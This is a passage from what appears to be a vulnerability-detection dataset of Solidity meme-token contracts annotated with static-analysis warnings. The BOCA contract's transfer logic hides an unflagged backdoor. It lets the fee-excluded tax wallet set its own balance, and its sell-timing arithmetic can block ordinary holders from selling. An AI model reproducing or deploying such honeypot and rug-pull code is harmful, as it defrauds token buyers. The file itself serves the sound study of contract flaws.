_reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: c56e31a\n\t\t\t\t// reentrancy-eth | ID: b75b19b\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: c56e31a\n\t\t\t\t\t// reentrancy-eth | ID: b75b19b\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: b75b19b\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: b75b19b\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: b75b19b\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: c56e31a\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: b75b19b\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: b75b19b\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: c56e31a\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 2d0488c\n\t\t// reentrancy-events | ID: 36d0b21\n\t\t// reentrancy-events | ID: c56e31a\n\t\t// reentrancy-benign | ID: 231feec\n\t\t// reentrancy-benign | ID: 39403af\n\t\t// reentrancy-eth | ID: b75b19b\n\t\t// reentrancy-eth | ID: de379b0\n\t\t// reentrancy-eth | ID: 0bd844c\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 11f0ea5): tweet.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 11f0ea5: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 2d0488c\n\t\t// reentrancy-events | ID: 36d0b21\n\t\t// reentrancy-events | ID: c56e31a\n\t\t// reentrancy-eth | ID: b75b19b\n\t\t// reentrancy-eth | ID: de379b0\n\t\t// reentrancy-eth | ID: 0bd844c\n\t\t// arbitrary-send-eth | ID: 11f0ea5\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2d0488c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2d0488c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 231feec): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 231feec: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 119b723): tweet.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 119b723: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7c40d7f): tweet.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 7c40d7f: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: de379b0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for de379b0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0bd844c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0bd844c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() public onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), msg.sender, type(uint256).max);\n\n\t\t// reentrancy-events | ID: 2d0488c\n\t\t// reentrancy-benign | ID: 231feec\n\t\t// reentrancy-eth | ID: de379b0\n\t\t// reentrancy-eth | ID: 0bd844c\n transfer(address(this), balanceOf(msg.sender).mul(95).div(100));\n\n\t\t// reentrancy-events | ID: 2d0488c\n\t\t// reentrancy-benign | ID: 231feec\n\t\t// reentrancy-eth | ID: de379b0\n\t\t// reentrancy-eth | ID: 0bd844c\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: 2d0488c\n\t\t// reentrancy-benign | ID: 231feec\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n\t\t// unused-return | ID: 119b723\n\t\t// reentrancy-eth | ID: de379b0\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 7c40d7f\n\t\t// reentrancy-eth | ID: de379b0\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: de379b0\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: de379b0\n tradingOpen = true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 22d8eb6): tweet.reduceFee(uint256) should emit an event for _finalSellTax = _newFee \n\t// Recommendation for 22d8eb6: Emit an event for critical parameter changes.\n function reduceFee(uint256 _newFee) external onlyOwner {\n require(_msgSender() == _taxWallet);\n\n\t\t// events-maths | ID: 22d8eb6\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10102.sol",
"size_bytes": 21628,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function WETH() external pure returns (address);\n\n function factory() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract BOCA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExcludedFromFees;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f810d75): BOCA._taxWallet should be immutable \n\t// Recommendation for f810d75: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 04a359c): BOCA._initialBuyTax should be constant \n\t// Recommendation for 04a359c: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: f487566): BOCA._initialSellTax should be constant \n\t// Recommendation for f487566: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1ec51ee): BOCA._finalBuyTax should be constant \n\t// Recommendation for 1ec51ee: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 97006b8): BOCA._finalSellTax should be constant \n\t// Recommendation for 97006b8: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 94520b0): BOCA._reduceBuyTaxAt should be constant \n\t// Recommendation for 94520b0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: b24e78e): BOCA._reduceSellTaxAt should be constant \n\t// Recommendation for b24e78e: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: af9a37d): BOCA._preventSwapBefore should be constant \n\t// Recommendation for af9a37d: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 23;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Book Of Cats\";\n\n string private constant _symbol = unicode\"BOCA\";\n\n uint256 public _maxTxAmount = 4206900000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 997b1bb): BOCA._taxSwapThreshold should be constant \n\t// Recommendation for 997b1bb: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 23d4c17): BOCA._maxTaxSwap should be constant \n\t// Recommendation for 23d4c17: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n struct TokenMultiData {\n uint256 swapStrict;\n uint256 swapMulti;\n uint256 swapTotal;\n }\n\n mapping(address => TokenMultiData) private tokenMultiData;\n\n uint256 private tokenMultiUpdate;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n _;\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0x0971f49964c2bf54811a3f64b9e8898a48fCf21f);\n\n _balances[_msgSender()] = _tTotal;\n\n isExcludedFromFees[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 76edf5f): BOCA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 76edf5f: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 192ae3c): BOCA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 192ae3c: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: cb043b8\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 6a40856\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6a40856): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6a40856: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: cb043b8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for cb043b8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 6a40856\n\t\t// reentrancy-benign | ID: cb043b8\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 6a40856\n\t\t// reentrancy-benign | ID: cb043b8\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d6a6b28): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d6a6b28: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 09e9d97): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 09e9d97: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 618ee90): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 618ee90: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (inSwap || !tradingOpen) {\n _basicTransfer(from, to, amount);\n\n return;\n }\n\n uint256 txAmt = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n txAmt = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !isExcludedFromFees[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n txAmt = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: d6a6b28\n\t\t\t\t// reentrancy-benign | ID: 09e9d97\n\t\t\t\t// reentrancy-eth | ID: 618ee90\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: d6a6b28\n\t\t\t\t\t// reentrancy-eth | ID: 618ee90\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (\n (isExcludedFromFees[from] || isExcludedFromFees[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: 09e9d97\n tokenMultiUpdate = block.number;\n }\n\n if (!isExcludedFromFees[from] && !isExcludedFromFees[to]) {\n if (to == uniswapV2Pair) {\n TokenMultiData storage tmdFrom = tokenMultiData[from];\n\n\t\t\t\t// reentrancy-benign | ID: 09e9d97\n tmdFrom.swapTotal = tmdFrom.swapStrict - tokenMultiUpdate;\n\n\t\t\t\t// reentrancy-benign | ID: 09e9d97\n tmdFrom.swapMulti = block.timestamp;\n } else {\n TokenMultiData storage tmdTo = tokenMultiData[to];\n\n if (uniswapV2Pair == from) {\n if (tmdTo.swapStrict == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 09e9d97\n tmdTo.swapStrict = _preventSwapBefore >= _buyCount\n ? type(uint).max\n : block.number;\n }\n } else {\n TokenMultiData storage tmdFrom = tokenMultiData[from];\n\n if (\n !(tmdTo.swapStrict > 0) ||\n tmdFrom.swapStrict < tmdTo.swapStrict\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: 09e9d97\n tmdTo.swapStrict = tmdFrom.swapStrict;\n }\n }\n }\n }\n\n if (txAmt > 0) {\n\t\t\t// reentrancy-eth | ID: 618ee90\n _balances[address(this)] = _balances[address(this)].add(txAmt);\n\n\t\t\t// reentrancy-events | ID: d6a6b28\n emit Transfer(from, address(this), txAmt);\n }\n\n\t\t// reentrancy-eth | ID: 618ee90\n _balances[from] = !isExcludedFromFees[from]\n ? _balances[from].sub(amount)\n : amount;\n\n\t\t// reentrancy-eth | ID: 618ee90\n _balances[to] = _balances[to].add(amount.sub(txAmt));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: d6a6b28\n\t\t// reentrancy-events | ID: 6a40856\n\t\t// reentrancy-benign | ID: cb043b8\n\t\t// reentrancy-benign | ID: 09e9d97\n\t\t// reentrancy-eth | ID: 618ee90\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: d6a6b28\n\t\t// reentrancy-events | ID: 6a40856\n\t\t// reentrancy-eth | ID: 618ee90\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 5f03348): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 5f03348: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 24f575c): BOCA.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 24f575c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4c80964): BOCA.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 4c80964: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: af290cd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for af290cd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 5f03348\n\t\t// reentrancy-no-eth | ID: af290cd\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-no-eth | ID: af290cd\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 5f03348\n\t\t// unused-return | ID: 24f575c\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 5f03348\n\t\t// unused-return | ID: 4c80964\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 5f03348\n swapEnabled = true;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function sendStuckETH() external {\n require(_msgSender() == _taxWallet);\n\n _taxWallet.transfer(address(this).balance);\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10103.sol",
"size_bytes": 20962,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract IGARDEN is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3e75cab): IGARDEN._taxWallet should be immutable \n\t// Recommendation for 3e75cab: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 075af1a): IGARDEN._initialBuyTax should be constant \n\t// Recommendation for 075af1a: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 27;\n\n\t// WARNING Optimization Issue (constable-states | ID: d3270c8): IGARDEN._initialSellTax should be constant \n\t// Recommendation for d3270c8: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 26;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a624666): IGARDEN._reduceBuyTaxAt should be constant \n\t// Recommendation for a624666: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: b28a9b1): IGARDEN._reduceSellTaxAt should be constant \n\t// Recommendation for b28a9b1: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: bb55193): IGARDEN._preventSwapBefore should be 